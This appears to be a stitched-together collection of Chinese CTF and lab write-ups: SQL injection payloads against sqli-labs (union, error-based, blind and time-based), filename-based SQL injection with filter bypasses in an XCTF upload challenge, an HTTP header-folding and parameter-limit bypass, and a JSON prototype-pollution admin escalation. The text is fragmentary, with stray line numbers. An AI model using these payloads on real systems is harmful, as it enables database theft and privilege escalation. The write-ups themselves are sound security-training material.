

1.

```
1 http://127.0.0.1/sqli-labs-master/less-1?
  id=-1'union+select+1,2,3--+
```

```
1 http://127.0.0.1/sqli-labs-master/less-1?
  id=-1'union+select+1,2,user()--+
```

```
1 http://127.0.0.1/sqli-labs-master/less-1?
  id=-1'union+select+1,2,database()--+
```

```
1 http://127.0.0.1/sqli-labs-master/less-1?id=-1'union+select+1,2,
  (select group_concat(table_name) from information_schema.tables
  where table_schema='security')--+
2 //爆出表
```

2.

```
1 http://127.0.0.1/sqli-labs-master/less-1/?id=%27and+
  (updatexml(1,concat(0x7e,(select+user()),0x7e),1))='1
```

```
1 http://127.0.0.1/sqli-labs-master/less-1/?id=%27and+
  (extractvalue(1,concat(0x7e,(select+user()),0x7e)))='1
```

```
1 select updatexml(1,concat(0x7e,(SELECT user()),0x7e),1);
2 select updatexml(1,concat(0x7e,(SELECT database()),0x7e),1);
3 select extractvalue(1,concat(0x7e,(mid((select
  user()),10,32)),0x7e));
```

3.

```
1 http://127.0.0.1/sqli-labs-master/less-8/?  
id=1'+and+if(length(user())=14,1,0)=1--+
```

下一步爆破字符:


```
1 GET /sqli-labs-master/less-8/?  
id=1'+and+if(substr(user(),§1§,1)='§a§',1,0)=1--+
```

4.

```
1 GET /sqli-labs-master/less-9/?  
id=1'+and+if(length(user())=§14§,sleep(3),0)--+
```

刷题upload

用户zw的WP

zw 发布于2019-08-13 浏览量756  举报

from XCTF WEB upload (RCTF2015)

打开题目链接，注册账号，进入上传页面，先上传一个图片试一试：

发现会在upload页面返回我们一个uid，我的是1660，然后马上跳转到了memberpage.php，并且显示我们上传的文件名，所以思考一下，可能他直接将我们上传的文件存入了数据库，并且显示了文件名，我们能不能构造文件名，让他显示出我们想要的信息呢？

看了一下大佬的wp，思路果然如此，但是具体的构造语句，还是参考了大佬的

思路：

推测后台的insert插入语句为：

```
insert into 表名('filename',...) values('你上传的文件名',...);
```

构造以下语句进行注入：

```
文件名'+(select conv(substr(hex(database()),1,12),16,10))+'.jpg
```

拼接后的sql语句为：

```
...values('文件名'+(select conv(substr(hex(database()),1,12),16,10))+'.jpg',...);
```

CONV(n,from_radix,to_radix): 用于将n从from_radix进制转到to_radix进制

substr(str,start,length): 将str从start长度为length分割

hex(str): 将str转成十六进制

一点疑问&细节：

1. select、from被过滤，用双写绕过

2. 为什么不直接采用 `sselectelect database()` 进行注入：

部分注入回显：

```
'+(sselectelect dAtabase())+'.jpg => 0
```

```
'+(selecselectt substr(dAtabase(),1,12))+'.jpg => 0
```

```
'+(selecselectt substr(hex(dAtabase()),1,12))+'.jpg => 7765625
```

第三句代码应该回显'7765625f7570'，遇到'f'导致截断，所以需要conv转成十进制输出

3. substr中的长度限制：不限制长度会导致返回值太大，系统使用科学计数法（xx e x xxxx）表示。

题目限制条件

1. 回显不能出现字母 —》转成十进制

2. 要使注入后的语句正确闭合 —》猜测语句结构，正确闭合

3. 防止回显数据过大使程序返回科学计数型的结果 —》限制回显长度

1 步骤

2 上传利用语句注入的文件名在上传文件中进行注入，对substr的截取位置由读者自行调整直至获得完整名称

3

4 1. 库名

```
file_name' +(sselectelect  
conv(substr(hex(database()),1,12),16,10))+ '.jpg
```

```
# 得到库名: web_upload
```

7

8 2. 表名

```
file_name'+(seleselectct+conv(substr(hex((sselectelect  
table_name frfromom information_schema.tables where table_schema  
= 'web_upload' limit 1,1)),1,12),16,10))+'.jpg
```

```
# 得到表名: hello_flag_is_here
```

11

12 3. 字段

```
file_name'+(seleselectct+conv(substr(hex((sselectelect  
COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME  
= 'hello_flag_is_here' limit 1,1)),1,12),16,10))+'.jpg
```


```
# 得到字段名: i_am_flag
```

15

```
16 4. 获得数据
17 file_name'+(select tct+CONV(substr(hex((select i_am_flag
   frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg
18 # 得到flag: !!_@m_Th.e_F!lag
```

ez_url

关于 why404 wp 的一点补充

openapi 发布于2023-06-03 浏览量1349  举报

在 app.js 中, 有如下判断:

```
req.headers.admin.includes('true')
```

js

也就是说, 在nodejs的逻辑判断中, 只要 admin 的值包含 true 即可。
下面的值都成立:

```
'true'
' true '
' xtrue '
```

js

现在问题回到在 php 中, 如何构建请求, 使 admin 等于其中的某个值 (当然也不限于上面三个)。

php代码中, 发起http请求时, 使用到了 `curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);`。

如果 \$headers 的值等于 `["admin: true", "test: true"];`, 那么, 生成HTTP 请求 HEADER 就会包含下面字段:

```
admin: true
test: true
```

该 HEADER 将会在 nodejs 进行解析。此时，nodejs 中关于 `req.headers.admin.includes('true')` 的判断就会成立。

然而，`$headers` 在上面的代码中已被过滤，如果直接传入类似的数据：

```
{"headers": ["admin:true"]}
```

js

代码就会进入 `die('try hard');`

```
$headers = (array)json_decode($input)->headers;
for($i = 0; $i < count($headers); $i++){
    $offset = strpos($headers[$i], ':');
    $key = substr($headers[$i], 0, $offset);
    $value = substr($headers[$i], $offset + 1);
    if(strpos($key, 'admin') > -1 && strpos($value, 'true') > -1){
        die('try hard');
    }
}
```

php

此时，需要想方设法绕过上面的判断。

如果我们构造下面的数据，就可以绕过判断：

```
{"headers": ["admin: x", " true: y"]}
```

但是，这样可行吗？答案是：可行的。

注意 true 前面的空格。

此时，curl 生成的HTTP HEADER 包含下面数据（依旧要注意空格）：

```
admin: x
 true: y
```

该 HEADER 在nodejs 解析时，会得到如下数据：

```
{
  "admin": "x true y"
}
```

RFC 7230（HTTP/1.1 协议的定义）规定了 field-name 是由一个或多个打印的 ASCII 字符组成，不包括分隔符，包括空格。因此，如果一个 field-name 的第一个字符是空格，那么这个 HTTP header 是非法的，应该被服务器或客户端忽略或拒绝。

然而，Node.js 在处理这类情况时通常是宽容的，结果如上。

利用这个特性，我们就成功绕过了php中的过滤逻辑。

2

`json_decode` 函数接受一个JSON格式的字符串并且把它转换为PHP变量。此处我们的输入内容借由 `file_get_contents('php://input')` 传入程序，查了一篇[文章](#)，里面说“当Content-Type为application/x-www-form-urlencoded且提交方法是POST方法时，\$_POST数据与php://input数据是一致的”。看了一眼抓的包，是application/x-www-form-urlencoded，那这里就是读取post数据而已。根据for循环的逻辑，我们要在post里传headers，内容是一个数组，由 : 分割，肯定要带上admin和true。

接着看curl部分。这里完全是curl最基本的[使用](#)，`http_build_query` 使用给出的关联（或下标）数组生成一个经过 URL-encode 的请求字符串。但是程序给我们拼接了一个 `&admin=false`，说明我们要绕过这个设置，admin是什么都不能是false。

然后我有点迷茫，先上exp，最后再分析我迷茫的点。用bp给这个页面发个post，post的内容用脚本生成，抄过去就得了。

```
1  {"headers":["admin: t",
2  " true: t"
3  ],"params":{"admin":"t",
4  "2":"1",
5  "3":"1",
6  "4":"1",
7  ...此处省略
8  "999":"1",
9  "1000":"1"
10 }
11 }
```

两个技巧分别是：

1. express的parameterLimit默认为1000
2. 根据rfc，header字段可以通过在每一行前面至少加一个SP或HT来扩展到多行

第一点来自源代码的[这一行](#)

。结合这篇[文章](#)

的分析，当我们传入的参数超过1000个时，之后的参数会被舍弃掉。于是这里我们最开始发个"admin":"t" 设置好admin的值，加上999个没用的参数，把程序拼接的

&admin=false 挤掉，即可绕过过滤。

至于headers，注意到" true: t" 里面有个空格了吗？SP指的是空格，HT指的是制表符，根据[资料](#)

（这篇[文章](#)

也有提到）中的一句话：

- Header fields can be extended over multiple lines by preceding each extra line with at least one SP or HT.

不过我确实没看出扩展为多行为什么就能绕过过滤。headers不传也能绕过过滤的，而且这个文件里也没告诉我们为啥非要传这样的header，传值不是t也行，任何字母都行。为啥啊，难道就是猜吗？望有大佬告知

wife_wife

1. 题目提示本题不需要暴力破解，所以尝试注册，发现is admin可以勾选，那么怀疑点其实就应该放在这里，通常逻辑都是要靠管理员权限才能拿到flag

先尝试没勾选情况下直接注册，然后登录，就拿到了flag，尝试flag发现无效

尝试注册管理员账户提示邀请码错误，无法注册成功。

1. 造成这个漏洞的有一个很重要的前提，这题目的后端是node.js来写的，也就是说后端不是php服务器，不是java服务器，而是JavaScript服务器

因为是JavaScript语言来处理后端+用JavaScript的那个函数来处理，所以才有这个漏洞产生

prototype 是 newClass 类的一个属性

newClass 类实例化的对象 newObj 不能访问 prototype，但可以通过.proto 来访问

newClass 类的 prototype

newClass 实例化的对象 newObj 的 .proto 指向 newClass 类的 prototype

js中实例化的对象的 .proto 指向类的 prototype，那么修改了实例化的对象的 .proto 的内容, 类的 prototype 的内容也会发生改变，这就是原型链污染的利用方法。

利用：

如果是在代码中正常生成的对象，没有污染

```
1 let o1 = {}
2 let o2 = {a: 1, "__proto__": {b: 2}}
3 merge(o1, o2)
4 console.log(o1.a, o1.b)
5 //1 2
6
7 o3 = {}
8 console.log(o3.b)
9 //undefined
```

但如果后端服务器是JavaScript，我们通过post发送过去的 json是字符串，JavaScript需要通过JSON.parse()函数才能把 json字符串转成对象，此时便存在污染风险。JSON 解析的情况下，**proto** 会被认为是一个真正的“键名”，而不代表“原型”，所以在遍历 o2 的时候会存在这个键。

1. 掌握这一点之后我们可以尝试对注册报文进行修改，尝试使用普通用户的注册接口来注册管理员账户。

可以看到注册用户是使用isAdmin参数来确认是否是管理员账户，所以使用burp对注册报文进行修改如下：

注册成功后登录系统即可拿到flag

4.题目源代码参考

```
1 {"username":"e","password":"e","__proto__":{"isAdmin":true}}
2 //payload
```